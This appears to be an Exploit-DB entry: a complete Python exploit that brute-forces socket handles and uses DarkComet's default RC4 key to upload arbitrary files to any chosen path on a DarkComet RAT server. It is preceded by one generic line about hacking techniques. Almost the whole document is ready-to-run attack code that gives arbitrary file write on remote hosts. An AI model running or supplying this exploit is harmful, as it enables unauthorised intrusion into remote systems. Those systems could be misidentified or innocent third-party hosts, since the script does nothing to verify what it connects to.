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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python3
#
# EDB Note: Source ~ https://gist.github.com/PseudoLaboratories/260b6f24844785aacc1e2fb61dd05c01/259944bd94a0d289ef80b9138c1e3f97a97aa9cd
#

from time import sleep
from socket import socket, AF_INET, SOCK_STREAM, error
from re import search
from Crypto.Cipher import ARC4
from binascii import hexlify, unhexlify

import argparse

def good(text):
    print('[+] ' + text)

def bad(text):
    print('[-] ' + text)

def normal(text):
    print('[*] ' + text)

def decrypt(data, key):
    return ARC4.new(key).decrypt(unhexlify(data)).upper()

def encrypt(data, key):
    return hexlify(ARC4.new(key).encrypt(data)).upper()

def upload(domain, port, key, local, remote, test):
    remote = remote.replace('\\', '/')
    f = open(local, "rb")
    client = socket(AF_INET, SOCK_STREAM)
    client.settimeout(5.0)
    client.connect((domain, port))
    try:
        idtype = decrypt(client.recv(12), key)
        if idtype != b'IDTYPE':
            bad('Key seems to be wrong!')
            return

        filetransfer = encrypt('FILETRANSFER111|%s' % test, key)
        client.send(filetransfer)
        client.recv(3)
        client.send(b'FILEBOF' + remote.encode('utf-8') + b'|111')
        client.recv(1)
        content = f.read()
        current = 0
        while (current + 1024) < len(content):
            current += client.send(content[current:current+1024])
            client.recv(1)
        client.send(content[current:len(content)])
        client.recv(1)
        client.send(b'FILEEOF')
        client.recv(1)
        client.send(b'FILEEND')
        client.close()
        return True
    except error as e:
        client.close()
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='bruteforce socket handle and upload arbitrary files to DarkComet servers')
    parser.add_argument('--port', '-p', dest='port', type=int, default=1604, help='port of the DarkComet server')
    parser.add_argument('--key', '-k', dest='key', default='#KCMDDC51#-890', help='password of the DarkComet server')
    parser.add_argument('--start', '-s', dest='start', type=int, default=0)
    parser.add_argument('--end', '-e', dest='end', type=int, default=2400)

    parser.add_argument('domain', help='domain name/ip of the DarkComet server')
    parser.add_argument('local', help='file name of the local file')
    parser.add_argument('remote', help='remote relative file path')

    args = parser.parse_args()

    for i in range(args.start, args.end, 4):
        # Increment by 4 because Windows seems to only
        # generate socket handles that are multiples of 4
        normal('Trying ' + str(i))
        if upload(args.domain, args.port, args.key, args.local, args.remote, i):
            good('Uploaded successfully!')
            break
        sleep(2)